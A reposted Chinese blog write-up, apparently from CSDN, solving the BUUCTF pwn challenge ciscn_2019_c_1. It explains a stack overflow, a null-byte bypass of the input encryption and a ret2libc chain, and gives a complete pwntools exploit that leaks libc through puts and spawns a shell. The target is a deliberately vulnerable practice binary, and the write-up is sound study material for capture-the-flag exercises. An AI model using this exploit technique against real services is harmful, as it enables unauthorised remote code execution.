【BUUCTF - PWN】ciscn_2019_c_1

checksec一下

IDA打开看看,encrypt函数内存在栈溢出漏洞
由于程序会将输入的内容加密,这会破坏我们的payload,所以注意到strlen函数,通过在payload开头放上 \0 来绕过加密
由于程序内没有后门函数,也没有system函数,所以考虑ret2libc

特别注意到题目是部署在Ubuntu18上的,因此调用system需要栈对齐,这里填充ret来对齐

from pwn import *
from LibcSearcher import *

context.os='linux'
context.arch='amd64'
context.log_level='debug'

ru=lambda x:io.recvuntil(x)
rl=lambda :io.recvline()
sla=lambda x,y:io.sendlineafter(x,y)

io=remote('xxx',xxx)
elf=ELF('./ciscn_2019_c_1')

ret=0x4006b9
pop_rdi=0x400c83
main=elf.sym['main']
puts_plt=elf.plt['puts']
puts_got=elf.got['puts']

sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sla('encrypted\n',payload)
rl()
rl()
puts=u64(ru('\n')[:-1].ljust(8,'\0'))
libc=LibcSearcher('puts',puts)
libc_addr=puts-libc.dump('puts')
binsh=libc_addr+libc.dump('str_bin_sh')
system=libc_addr+libc.dump('system')
sla('choice!\n','1')
payload='\0'+'a'*(0x50-1+8)+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sla('encrypted\n',payload)

io.interactive()

附件:ciscn_2019_c_1

发布了30 篇原创文章 · 获赞 9 · 访问量 7382

猜你喜欢

转载自blog.csdn.net/tqydyqt/article/details/104986595